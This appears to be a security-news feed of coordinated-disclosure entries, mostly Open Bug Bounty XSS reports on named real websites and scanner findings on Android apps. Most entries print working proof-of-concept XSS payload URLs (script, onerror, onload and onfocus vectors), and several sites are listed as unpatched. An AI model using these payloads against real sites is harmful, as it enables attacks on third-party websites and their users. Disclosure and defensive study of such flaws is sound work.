DumpsterFire - Security Incidents In A Box!

DumpsterFire Toolset - "Security Incidents In A Box!" The DumpsterFire Toolset is a modular, menu-driven, cross-platform tool for building repeatable, time-delayed, distributed security events. Easily create custom event chains for Blue Team drills and sensor / alert mapping. Red Teams can create...

mtsTV GO - Customized SSL, MIT license, WebView code execution vulnerabilities

HackApp vulnerability scanner discovered that application mtsTV GO published at the 'play' market has multiple vulnerabilities...

cindoc.pcm.gob.pe XSS vulnerability

On the 06.11.2017 security researcher reported a XSS vulnerability affecting the cindoc.pcm.gob.pe website via the Open Bug Bounty coordinated vulnerability disclosure program. Coordinated Disclosure Timeline: Description| Value ---|--- Vulnerability submitted via Open Bug Bounty| 6 November, 201...

colgate.com.sa XSS vulnerability

Vulnerable URL: http://www.colgate.com.sa/en/sa/oc/search-results?tag=%22%5C%27%60%3C%2fScrpt%2f%22%27--%21%3E%20%3CScrpt%3E%20alert%28document.domain%29%20%3C%2fScrpt%3E%23 Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

t3sandbox.org XSS vulnerability

Vulnerable URL: https://t3sandbox.org/t3/sandbox/wheat/search.php Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Coordinated Disclosure Timeline: Description| Val...

منومعاي -بدون اعلانات- صراحة ما يقول عنك الناس؟ - ContentProvider mode not defined, Customized SSL, Exported components vulnerabilities

HackApp vulnerability scanner discovered that application منومعاي -بدون اعلانات- صراحة ما يقول عنك الناس؟ published at the 'play' market has multiple vulnerabilities...

國泰優惠－卡友必下載的國泰APP - Customized SSL, WebView code execution vulnerabilities

HackApp vulnerability scanner discovered that application 國泰優惠－卡友必下載的國泰APP published at the 'play' market has multiple vulnerabilities...

us.romwe.com XSS vulnerability

Vulnerable URL: http://us.romwe.com/pdsearch/xxx?ref=www%3C/script%3E%27--!%3E%3CImage+SrcSet%3DK+OnError%3Dconfirm1%3E=dir%22%27--!%3E%3CImage+SrcSet%3DK+OnError%3Dconfirm1%3E=us Details: Description| Value ---|--- Patched:| Yes, at 25.11.2017 Latest check for patch:| 25.11.2017 20:53 GMT...

natal.mx XSS vulnerability

Vulnerable URL: http://natal.mx/es/%22+%3E%3C%252Fsvg%3E%3C%252F|%3E%3Csvg%252Fonload=prompt2%3E/7/0-0-g-p-0/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 19.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculate...

inbira.com XSS vulnerability

Vulnerable URL: http://www.inbira.com/es/%22+%3E%3C%252Fsvg%3E%3C%252F|%3E%3Csvg%252Fonload=prompt2%3E/7/0-0-g-p-0/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 19.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 17748226 VIP...

noordoostfriesland.nl XSS vulnerability

Vulnerable URL: http://www.noordoostfriesland.nl/locaties/surhuisterveen/?locatie=surhuisterveen=%22%27--%21%3E%3CImage+SrcSet%3DK+OnError%3Dconfirm%281%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 19.01.2018 Vulnerability type:| XSS Vulnerability status:|...

tricor.net XSS vulnerability

Vulnerable URL: http://tricor.net/searchresult.php?proptype=%27%22/%3E%3Cscript%3Ealert/OPENBUGBOUNTY/;%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 21.11.2017 Latest check for patch:| 21.11.2017 21:19 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

mec.ca XSS vulnerability

Vulnerable URL: https://www.mec.ca/en/products/c/100?text=aaaaaaaaaaaaaaa" onfocus=alert/OPENBUGBOUNTY/ autofocus a=" Details: Description| Value ---|--- Patched:| Yes, at 25.11.2017 Latest check for patch:| 25.11.2017 10:41 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

efrc.co.uk XSS vulnerability

Vulnerable URL: http://www.efrc.co.uk/index.php?i=%27%22/%3E%3Cscript%3Ealert/OPENBUGBOUNTY/;%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 15.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated V...

gas-dortmund.de XSS vulnerability

Vulnerable URL: http://www.gas-dortmund.de/index-gas.php?lan=1=401 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 16.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2556095 VIP website status:| No Coordinated Disclosure Timeline:...

3ppp3.at XSS vulnerability

Vulnerable URL: https://www.3ppp3.at/de/search?query=aa%27%22%3E%3Cimg%20src=x%20onerror=alert%22OPENBUGBOUNTY%22;%3E Details: Description| Value ---|--- Patched:| Yes, at 27.11.2017 Latest check for patch:| 27.11.2017 09:45 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

jobseeker.com XSS vulnerability

Vulnerable URL: http://jobseeker.com/search-jobs.php Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 14.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1067784 VIP website status:| No Coordinated Disclosure...

newlogisticsjobs.com XSS vulnerability

Vulnerable URL: http://www.newlogisticsjobs.com/search-jobs.php Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 14.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| N...

thebesthospitalityjobs.com XSS vulnerability

Vulnerable URL: http://www.thebesthospitalityjobs.com/search-jobs.php Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 14.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website...

fulltono.com.pe XSS vulnerability

Vulnerable URL: http://www.fulltono.com.pe/?nomart=%22%27--%21%3E%22%27--%21%3E%3CScript%20%2fK%2f%3Econfirm%281%29%3C%2fScript%20%2fK%2f%3E%23=videos Details: Description| Value ---|--- Patched:| No Latest check for patch:| 13.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly...